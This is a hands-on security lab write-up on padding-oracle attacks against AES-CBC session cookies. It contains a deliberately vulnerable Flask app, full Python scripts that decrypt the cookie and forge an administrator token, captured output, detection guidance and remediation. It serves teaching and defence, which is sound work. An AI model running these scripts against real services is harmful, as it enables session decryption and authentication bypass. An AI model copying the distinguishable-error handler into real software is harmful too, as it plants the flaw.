Recover the plaintext of an AES-CBC session cookie one byte at a time using nothing but the difference between a 500 and a 200, then run the same oracle backwards to forge a token that logs you in as an administrator.
[!warning] Authorized use only Run this only against the disposable target written below, on an isolated host, bound to
127.0.0.1. A padding-oracle attack is thousands of deliberately malformed requests per block; on any system you do not own that is both unauthorised access and, in effect, a denial-of-service load pattern. Never point this at a third party.
Module: Crypto and Configuration · Target: self-hosted Flask app (app.py, written below) · Difficulty: Advanced · Time: ~75 min · OWASP: A02:2021
Turn a one-bit information leak into full plaintext recovery and full plaintext forgery, and be able to explain why the encryption key never enters the picture. By the end you will have:
- Confirmed the oracle — a distinguishable response for "padding invalid" versus "padding valid".
- Decrypted a complete AES-128-CBC session token without the key, and recorded the query cost.
- Explained, byte by byte, why manipulating block N−1 reveals the plaintext of block N.
- Used CBC-R to run the oracle in reverse and construct a token for chosen plaintext.
- Logged in as
administratorwith that forged token. - Measured the attack's footprint in the server log.
- Applied encrypt-then-MAC with a uniform error response and watched the attack collapse.
Everything below was captured on a live run of the target on this host. The numbers are real; yours will differ slightly because the guess loop's early exits depend on byte values.
Knowledge:
- CBC mode: how
P[n] = D(C[n]) XOR C[n-1]works, and where the IV fits. Read [[ECB-and-CBC-Mode-Attacks]] first. - PKCS#7 padding — the rule that the last n bytes all equal n.
- The technique note [[Padding-Oracle-Attacks]], which this lab is the hands-on companion to.
- XOR arithmetic well enough to be comfortable that
a ^ b ^ b == a.
Tooling:
python3with Flask andcryptography. Verified on Python 3.13.14, Flask 3.1.3, cryptography 46.0.7.curlfor the manual probes. The attack script uses only the standard library.
[!note] No padbuster, no Burp, no sqlmap
padbusteris the traditional tool and Burp's Padding Oracle Hunter extension the modern convenience; neither is installed on the authoring host. Writing the attack yourself is the better exercise anyway, because the thing worth learning is the byte arithmetic, and a tool hides exactly that. For the tooling route, see PortSwigger's BApp Store documentation.
ss -ltn | grep ':5000' || echo 'port 5000 free'mkdir -p ~/labs/padding-oracle && cd ~/labs/padding-oracleSave as app.py. The key and IV are fixed so that your token matches the one quoted below — a real application would randomise the IV per token, which changes nothing about the attack:
import base64
from flask import Flask, request, make_response
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
KEY = bytes.fromhex('00112233445566778899aabbccddeeff')
IV = bytes.fromhex('0f1e2d3c4b5a69788796a5b4c3d2e1f0')
app = Flask(__name__)
def pad(b):
n = 16 - (len(b) % 16)
return b + bytes([n]) * n
def unpad(b):
if not b or len(b) % 16: raise ValueError('bad length')
n = b[-1]
if n < 1 or n > 16: raise ValueError('bad padding')
if b[-n:] != bytes([n]) * n: raise ValueError('bad padding')
return b[:-n]
def encrypt(pt):
c = Cipher(algorithms.AES(KEY), modes.CBC(IV)).encryptor()
return base64.urlsafe_b64encode(IV + c.update(pad(pt)) + c.finalize()).decode()
def decrypt(token):
raw = base64.urlsafe_b64decode(token)
iv, ct = raw[:16], raw[16:]
d = Cipher(algorithms.AES(KEY), modes.CBC(iv)).decryptor()
return unpad(d.update(ct) + d.finalize())
@app.route('/login')
def login():
tok = encrypt(b'{"user":"carlos","role":"customer"}')
r = make_response('logged in\n')
r.set_cookie('session', tok)
return r
@app.route('/profile')
def profile():
tok = request.cookies.get('session', '')
try:
pt = decrypt(tok)
except Exception:
return ('Internal Server Error: invalid padding\n', 500) # <-- THE ORACLE
try:
pt.decode()
except UnicodeDecodeError:
return ('Bad Request: corrupt session data\n', 400)
return ('Welcome back. session=%s\n' % pt.decode(), 200)
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000)Read /profile carefully. The vulnerability is not the AES, the key length or the mode. It is that the handler answers 500 for a padding failure and 400 for a decode failure — two different error responses for two different internal states, both reachable by an attacker who controls the ciphertext.
python3 app.py &
curl -s -i http://127.0.0.1:5000/login | grep -i '^set-cookie'Set-Cookie: session=Dx4tPEtaaXiHlqW0w9Lh8IvEErJFe4S9x6j5QWefwJX2Cs2eUvX3Ta8iIpLc_ULvR6vJVZbk4ThEGqyPMA79hw==; Path=/
Send the valid token:
GET /profile HTTP/1.1
Host: 127.0.0.1:5000
Cookie: session=Dx4tPEtaaXiHlqW0w9Lh8IvEErJFe4S9x6j5QWefwJX2Cs2eUvX3Ta8iIpLc_ULvR6vJVZbk4ThEGqyPMA79hw==HTTP/1.1 200 OK
Welcome back. session={"user":"carlos","role":"customer"}
Now flip the very last bit of the ciphertext, which corrupts the padding byte:
BAD=$(python3 - "$TOK" <<'P'
import base64, sys
r = bytearray(base64.urlsafe_b64decode(sys.argv[1])); r[-1] ^= 0x01
print(base64.urlsafe_b64encode(bytes(r)).decode())
P
)
curl -s -i --cookie "session=$BAD" http://127.0.0.1:5000/profile | head -1HTTP/1.1 500 INTERNAL SERVER ERROR
Internal Server Error: invalid padding
That is the whole vulnerability. One bit of ciphertext produced a different response class, and the difference tells you something about the decrypted bytes. Everything else is arithmetic.
[!note] The oracle is often quieter than this A 500-versus-200 split is the loud case. In the wild the distinguisher may be a subtly different error page, a redirect target, a response-time difference of a few milliseconds, or a
Set-Cookiepresent in one branch and absent in the other. The attack is identical; only theoracle()function changes. Build that function first and test it against known-good and known-bad inputs before writing anything else.
In CBC decryption, the plaintext of block n is P[n] = D(C[n]) XOR C[n-1], where D is the raw block-cipher decryption. Call D(C[n]) the intermediate state I[n]. The attacker cannot compute I[n] — that needs the key — but they fully control C[n-1], because it is just bytes in the cookie.
So: replace C[n-1] with a forged block F, and the server computes I[n] XOR F and checks its padding. Set the last byte of F to each of 256 values until the server stops returning 500. The one that succeeds almost certainly produced a final plaintext byte of 0x01, so I[n][15] XOR F[15] == 0x01, therefore I[n][15] == F[15] XOR 0x01. You have learned one byte of the intermediate state without the key.
Repeat targeting 0x02 0x02, then 0x03 0x03 0x03, and so on to recover all sixteen. Finally P[n] = I[n] XOR C[n-1] using the real previous block. Note what the key never did: participate.
There is one trap. When you are hunting 0x01, a forged block can accidentally produce valid 0x02 0x02 padding, which also returns non-500. The standard guard is to perturb the second-to-last byte and re-ask: if the padding was genuinely one byte long, changing byte 14 cannot invalidate it. The script below implements exactly that.
Save as oracle.py:
#!/usr/bin/env python3
"""Padding-oracle decryption of an AES-CBC session token."""
import base64, sys, urllib.request, urllib.error
URL = "http://127.0.0.1:5000/profile"
BS = 16
calls = 0
def b64u(raw): return base64.urlsafe_b64encode(raw).decode()
def unb64u(s): return base64.urlsafe_b64decode(s)
def oracle(raw):
"""True = the server accepted the padding (200 or 400).
False = the server rejected the padding (500)."""
global calls
calls += 1
req = urllib.request.Request(URL)
req.add_header("Cookie", "session=" + b64u(raw))
try:
urllib.request.urlopen(req).read()
return True
except urllib.error.HTTPError as e:
return e.code != 500
def crack_block(prev, target):
"""Recover the intermediate state of one ciphertext block."""
inter = bytearray(BS)
for padval in range(1, BS + 1):
pos = BS - padval
forged = bytearray(BS)
for i in range(pos + 1, BS):
forged[i] = inter[i] ^ padval
for guess in range(256):
forged[pos] = guess
if oracle(bytes(forged) + target):
if padval == 1: # guard against a false \x02\x02 hit
probe = bytearray(forged)
probe[pos - 1] ^= 0xFF
if not oracle(bytes(probe) + target):
continue
inter[pos] = guess ^ padval
break
else:
raise RuntimeError("no byte accepted at position %d" % pos)
return bytes(inter)
def main(token):
raw = unb64u(token)
blocks = [raw[i:i + BS] for i in range(0, len(raw), BS)]
print("ciphertext blocks (IV first): %d" % len(blocks))
plain = b""
for n in range(1, len(blocks)):
inter = crack_block(blocks[n - 1], blocks[n])
part = bytes(a ^ b for a, b in zip(inter, blocks[n - 1]))
plain += part
print("block %d -> %r" % (n, part))
print("\nrecovered plaintext: %r" % plain)
print("oracle queries: %d" % calls)
if __name__ == "__main__":
main(sys.argv[1])Note the oracle() definition once more: return e.code != 500. A 400 — the "decrypted fine, but the bytes were not valid UTF-8" branch — counts as padding valid. That second error class is not needed for the attack, but it is a real-world reminder that "the error page changed" is not the same question as "the padding was correct", and a sloppy oracle silently produces garbage.
python3 oracle.py "Dx4tPEtaaXiHlqW0w9Lh8IvEErJFe4S9x6j5QWefwJX2Cs2eUvX3Ta8iIpLc_ULvR6vJVZbk4ThEGqyPMA79hw=="ciphertext blocks (IV first): 4
block 1 -> b'{"user":"carlos"'
block 2 -> b',"role":"custome'
block 3 -> b'r"}\r\r\r\r\r\r\r\r\r\r\r\r\r'
recovered plaintext: b'{"user":"carlos","role":"customer"}\r\r\r\r\r\r\r\r\r\r\r\r\r'
oracle queries: 6844
Real elapsed time on this host: about 4 seconds over loopback for 6,844 requests. Three observations worth writing down:
- The trailing
\rbytes are0x0Drepeated thirteen times — the PKCS#7 padding, recovered along with everything else because the attack does not know or care where the message ends. - 6,844 queries for three blocks is roughly 2,280 per block, close to the theoretical average of
16 × 128 = 2048plus the disambiguation probes. - The key was never involved, never guessed, and is still
00112233445566778899aabbccddeeff— unchanged and unknown to the attack.
Decryption is the famous half; encryption is the half that turns a confidentiality bug into an authentication bypass. CBC-R works like this: pick the last ciphertext block at random, use the oracle to learn its intermediate state, then compute the block before it as I XOR desired_plaintext. That computed block is itself a ciphertext block, so repeat. When you run out of plaintext, the last block you computed is the IV.
Save as forge.py:
#!/usr/bin/env python3
"""CBC-R: build a valid token for chosen plaintext using the same oracle."""
import os
from oracle import crack_block, b64u, BS
import oracle as O
def pkcs7(b):
n = BS - (len(b) % BS)
return b + bytes([n]) * n
def forge(plaintext):
blocks = [plaintext[i:i+BS] for i in range(0, len(plaintext), BS)]
cur = os.urandom(BS) # arbitrary final ciphertext block
out = [cur]
for pb in reversed(blocks):
inter = crack_block(b"\x00" * BS, cur)
cur = bytes(a ^ b for a, b in zip(inter, pb))
out.insert(0, cur)
return b"".join(out) # out[0] becomes the IV
if __name__ == "__main__":
pt = pkcs7(b'{"user":"administrator","role":"admin"}')
print("forged token:", b64u(forge(pt)))
print("oracle queries:", O.calls)python3 forge.pyforged token: duXaM6xD-d49C94h3PyDqsNIRVQOXCD-NIVmgq1ib4eHLpvsA8_nEqVXfj4KRLwub8YQSjvgUjXxnf8f-isKqg==
oracle queries: 6014
GET /profile HTTP/1.1
Host: 127.0.0.1:5000
Cookie: session=duXaM6xD-d49C94h3PyDqsNIRVQOXCD-NIVmgq1ib4eHLpvsA8_nEqVXfj4KRLwub8YQSjvgUjXxnf8f-isKqg==HTTP/1.1 200 OK
Welcome back. session={"user":"administrator","role":"admin"}
An account that never existed, a role that was never granted, and a token the server itself accepts as its own — produced entirely from error codes.
This is why the finding is rated on forgery, not on decryption. A report that says "session cookies can be decrypted" invites the answer "there is nothing sensitive in them". A report that says "arbitrary session cookies can be minted, including for accounts that do not exist" does not.
[!success] Proof of exploitation
oracle.pyrecovered the full plaintext{"user":"carlos","role":"customer"}plus its PKCS#7 padding from the session cookie in 6,844 oracle queries, roughly four seconds over loopback, without the AES key.forge.pythen produced a token for{"user":"administrator","role":"admin"}in 6,014 further queries, andGET /profilewith that cookie returned200 OK — Welcome back. session={"user":"administrator","role":"admin"}. Decryption and forgery, from a single distinguishable error response.
This is one of the noisiest attacks in the course, which makes the detection story a genuinely good one — provided anybody is looking at the right counter.
The captured server log across both runs:
total requests to /profile: 12864
500s: 12758
200s: 21
400s: 85
| Source | Signal |
|---|---|
| Application access log | A ratio of ~99% error responses on one endpoint from one client. This is the signal. No legitimate client produces 12,758 padding failures. |
| Application error log | Thousands of identical decryption exceptions, one per request, from the same code path. |
| WAF / rate limiter | Sustained high request rate to a single URL with a changing cookie value and no other variation. |
| Session store | Session identifiers presented that were never issued — trivially detectable if tokens are issued from a server-side store, and impossible to detect if they are self-contained like this one. |
| Application audit log | A successful authentication as a principal that does not exist in the user table. |
Two honest limits. First, the attack's successful requests are only 21 out of 12,864 — if you alert on successful anomalous logins alone, you will miss the 99.8% of the attack that was the actual break-in and catch only the aftermath. Alert on the error volume. Second, a patient attacker can spread 12,000 requests across days and source addresses, at which point per-client rate limiting fails and only the aggregate error-rate metric on the endpoint still shows it. Instrument the endpoint, not just the client.
A cheap and very high-value control: make padding failures a first-class monitored event with its own counter, and alert on any non-zero sustained rate. A correct client produces zero.
The fix is not "hide the error". It is authenticated encryption.
1. Encrypt-then-MAC, and verify the MAC before decrypting anything.
import hmac, hashlib, os
KEY = bytes.fromhex('00112233445566778899aabbccddeeff')
MKEY = bytes.fromhex('a1b2c3d4e5f60718293a4b5c6d7e8f90') # separate key, not the same one
def issue(pt):
iv = os.urandom(16)
c = Cipher(algorithms.AES(KEY), modes.CBC(iv)).encryptor()
body = iv + c.update(pad(pt)) + c.finalize()
tag = hmac.new(MKEY, body, hashlib.sha256).digest()
return base64.urlsafe_b64encode(body + tag).decode()
def verify(token):
raw = base64.urlsafe_b64decode(token)
body, tag = raw[:-32], raw[-32:]
if not hmac.compare_digest(hmac.new(MKEY, body, hashlib.sha256).digest(), tag):
raise ValueError('bad tag') # never decrypts
d = Cipher(algorithms.AES(KEY), modes.CBC(body[:16])).decryptor()
return unpad(d.update(body[16:]) + d.finalize())Three details, all load-bearing:
- The MAC covers the IV as well as the ciphertext. A MAC that omits the IV leaves the first block malleable.
hmac.compare_digestis constant-time. A byte-by-byte comparison replaces a padding oracle with a timing oracle.- Verification happens before decryption, so a tampered token never reaches the padding check at all.
2. Return one response for every failure.
try:
pt = verify(request.cookies.get('session', ''))
except Exception:
return ('Unauthorized\n', 401) # one response for every failure3. Confirm the attack is dead. Point the same oracle.py at the fixed endpoint:
recovered plaintext: b'n RP\x00\xca\x1ac\x82C\xe7\xf7\xb3\x1e\xbb\xba\xda\x1a\x85\xbf...'
oracle queries: 85
Read that carefully, because it is a nicely instructive failure. The script did not error — it "succeeded" instantly and returned garbage, in 85 queries instead of 6,844. Every response is now identical, so the decision function has no signal: the very first guess "passes" every time. A uniform error response does not make the attack fail loudly; it makes it produce nonsense. That is worth knowing when you are testing a fixed system and want to be sure the fix is real rather than that your script broke.
Better still, do not build this at all:
- Use an AEAD mode — AES-GCM, ChaCha20-Poly1305, or a vetted wrapper such as libsodium's
crypto_secretbox/ Fernet. Authentication is not an add-on you can forget; it is part of the primitive. - Do not put trust decisions in a client-held blob. A random opaque session identifier plus server-side state removes this entire class: there is nothing to decrypt, and an unissued identifier is detectable.
- If you must use a self-contained token, use a reviewed format with a mandatory signature and verify the algorithm — and read [[JSON-Web-Tokens(JWT)]] for how that goes wrong in its own ways.
- Never reuse an IV, and never derive the MAC key from the encryption key by truncation.
Defence in depth, in priority order:
- AEAD, or encrypt-then-MAC with a separate key — removes the class.
- Uniform failure response and constant-time comparison — removes the distinguisher.
- Server-side session state — removes the attacker's ability to submit chosen ciphertext at all.
- Padding-failure counter with alerting at any sustained non-zero rate — makes an attempt visible.
- Rate limiting on the endpoint — raises the cost, but does not fix anything on its own.
The tempting-but-wrong fix is to change the 500 into a 200 with a generic error page and stop there. If the response is still distinguishable by any means — a differing body length, a redirect, a Set-Cookie, or a few milliseconds — the oracle survives. It is also wrong because the ciphertext is still malleable: an attacker who can flip bits in a token that the server trusts has a bug regardless of whether they can read it.
pkill -f 'python3 app.py'
rm -rf ~/labs/padding-oracleAlso delete any cookie jars and the forged tokens you pasted into a shell history — history -d or a fresh shell. A forged administrator token is a credential, and treating it as one is a habit worth having before you are holding a real client's.
| Symptom | Cause | Fix |
|---|---|---|
RuntimeError: no byte accepted at position 15 |
The oracle function is inverted, or the endpoint returns the same status for both branches. | Test oracle() by hand: a known-good token must return True, a bit-flipped one False. |
| The attack returns plausible-looking garbage | Same cause — no signal. Compare with the "fixed" output in Remediation. | Verify the two response classes really differ before running the full attack. |
| Extremely slow | Every guess is an HTTP request; ~13,000 of them. | Expect seconds on loopback and minutes over a network. Parallelise with a thread pool only on your own lab. |
Incorrect padding from base64 |
The token contains + or / and you used the URL-safe decoder, or vice versa. |
Match the encoding the target uses; this lab uses urlsafe_b64. |
Forged token returns 400 |
The forgery worked but produced non-UTF-8 bytes. | That is the 400 branch — it still proves control; re-check your target plaintext is valid UTF-8. |
| Recovered plaintext is right except the first block | You forgot the IV is the first "previous block". | Iterate n from 1, using blocks[n-1] as prev; the IV must be part of the token or known. |
- Vaudenay, Security Flaws Induced by CBC Padding (EUROCRYPT 2002) — the original attack: https://www.iacr.org/archive/eurocrypt2002/23320530/cbc02_e02d.pdf
- OWASP Web Security Testing Guide — Testing for Padding Oracle: https://owasp.org/www-project-web-security-testing-guide/
- OWASP Cryptographic Storage Cheat Sheet — authenticated encryption: https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html
- CWE-209: Generation of Error Message Containing Sensitive Information: https://cwe.mitre.org/data/definitions/209.html
- CWE-696 / CWE-347 context and CWE-310 family for cryptographic issues: https://cwe.mitre.org/data/definitions/347.html
- NIST SP 800-38A (CBC mode) and SP 800-38D (GCM): https://csrc.nist.gov/pubs/sp/800/38/a/final · https://csrc.nist.gov/pubs/sp/800/38/d/final
- Python
cryptographydocumentation — symmetric encryption and Fernet: https://cryptography.io/en/latest/ - PortSwigger Web Security Academy — Padding oracle material within the authentication topic: https://portswigger.net/web-security
- [[Padding-Oracle-Attacks]] — the technique note this lab drills, including the non-500 distinguishers.
- [[ECB-and-CBC-Mode-Attacks]] — the block-mode background, and the ECB sibling where no oracle is needed at all.
- [[Cryptographic-Vulnerabilities]] — how this finding is classified and rated alongside the rest of the crypto family.
- [[Weak-Randomness-and-Token-Prediction]] — the other route to forging a session token, when the tokens are guessable rather than malleable.
- [[Hash-Length-Extension-Attacks]] — the mirror-image failure of MAC-then-encrypt and naive
H(secret || message)constructions. - [[Session-Token-Entropy-Testing]] — the first test to run on any self-contained token before reaching for this one.
- [[Lab-JWT-Algorithm-Confusion]] — the same "trusting a client-held blob" mistake in its modern format.
- [[Cryptographic-Review-Project]] — the capstone that assesses a whole application's cryptographic posture rather than one token.
- [[Practical-Labs/Lab-Template|Lab Template]] — the shared structure every lab in this folder follows.